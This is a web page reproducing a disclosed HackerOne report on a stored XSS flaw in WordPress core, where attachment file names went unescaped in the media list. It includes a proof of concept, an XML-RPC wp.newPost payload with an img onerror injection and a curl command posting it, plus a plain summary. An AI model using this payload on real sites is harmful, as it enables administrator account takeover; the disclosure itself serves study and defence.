Skip to content
XSS Disclosed report Intermediate

WordPress core stored XSS via attachment file name

Attachment file names were not HTML-escaped when displayed in the WordPress media list and attachment pages, allowing a user who can create attachments to inject script that executes in an administrator's browser.

jouko Follow

Originally disclosed on HackerOne

  • Triaged in 9 days
  • Fixed in 37 days
  • Paid in 51 days
  • Disclosed after 3 months

I think there's a problem with missing HTML encoding of attachment file names. A user with the capability to create attachments could compromise other accounts including administrator by injecting HTML tags in the file name.

Creating attachment with arbitrary filenames is possible at least via the XMLRPC wp.newPost() function.

With a quick search I found two places where the filename is not HTML-escaped. First, wp-admin/includes/class-wp-media-list-table.php:

PHP
                <p class="filename">
                        <span class="screen-reader-text"><?php _e( 'File name:' ); ?> </span>
                        <?php
                        $file = get_attached_file( $post->ID );
                        echo wp_basename( $file );
                        ?>
                </p>

The injected script is triggered when a user clicks the Media menu in the Dashboard.

The second is the attachment page found e.g. with the attachment_id=xxx query parameter. It might be theme-dependent. I checked Twenty Fourteen and Twenty Sixteen and both were vulnerable.

#PoC#

  1. Create a file called xss.xml:
XML
<?xml version="1.0"?>
<methodCall>
<methodName>wp.newPost</methodName>
<params>
        <param><value>empty</value></param>
        <param><value>username</value></param>
        <param><value>password</value></param>
        <param><struct>
                <member><name>post_title</name><value>aaa</value></member>
                <member><name>post_type</name><value>attachment</value></member>
                <member><name>post_content</name><value>bbb</value></member>
                <member><name>post_status</name><value>publish</value></member>
                <member><name>file</name><value>ccc'&gt;test&lt;img src=x onerror=alert('xss') onload=alert('xss')&gt;</value></member>
        </struct></param>       
</params>
</methodCall>
  1. Send the request with
Shell
curl 'https://wordpress.site/xmlrpc.php' --data-binary "`cat xss.xml`" -H 'Content-type: application/xml'
  1. Go to the Dashboard as an administrator and view the media list. An alert box should appear. Only the list mode seems to be vulnerable but apparently it's the default.

The original report as published on HackerOne, by jouko. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The attachment file name was output without HTML escaping in the media list table and attachment page templates.

Impact

An attacker with permission to create attachments could execute script in an administrator's browser, potentially compromising the account; the report notes the media list mode is vulnerable and appears to be the default.

What the attacker needed

Ability to create attachments; victim views media list or attachment page

How it was found

  1. Create an XML file containing a wp.newPost call that creates an attachment with a malicious file name.
  2. Send the XML file to xmlrpc.php using a POST request with an XML content type.
  3. Log in as an administrator and open the media list in the dashboard; the script executes.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a file is uploaded to WordPress, its name is shown in the admin media library. The report found that the name was inserted into the page without being made safe, so a name containing HTML code would run as a script in the browser of anyone viewing that page. An attacker with permission to create attachments could therefore run code in an administrator's session.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by jouko

View all

13 more disclosed reports, best first.

More from Automattic

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.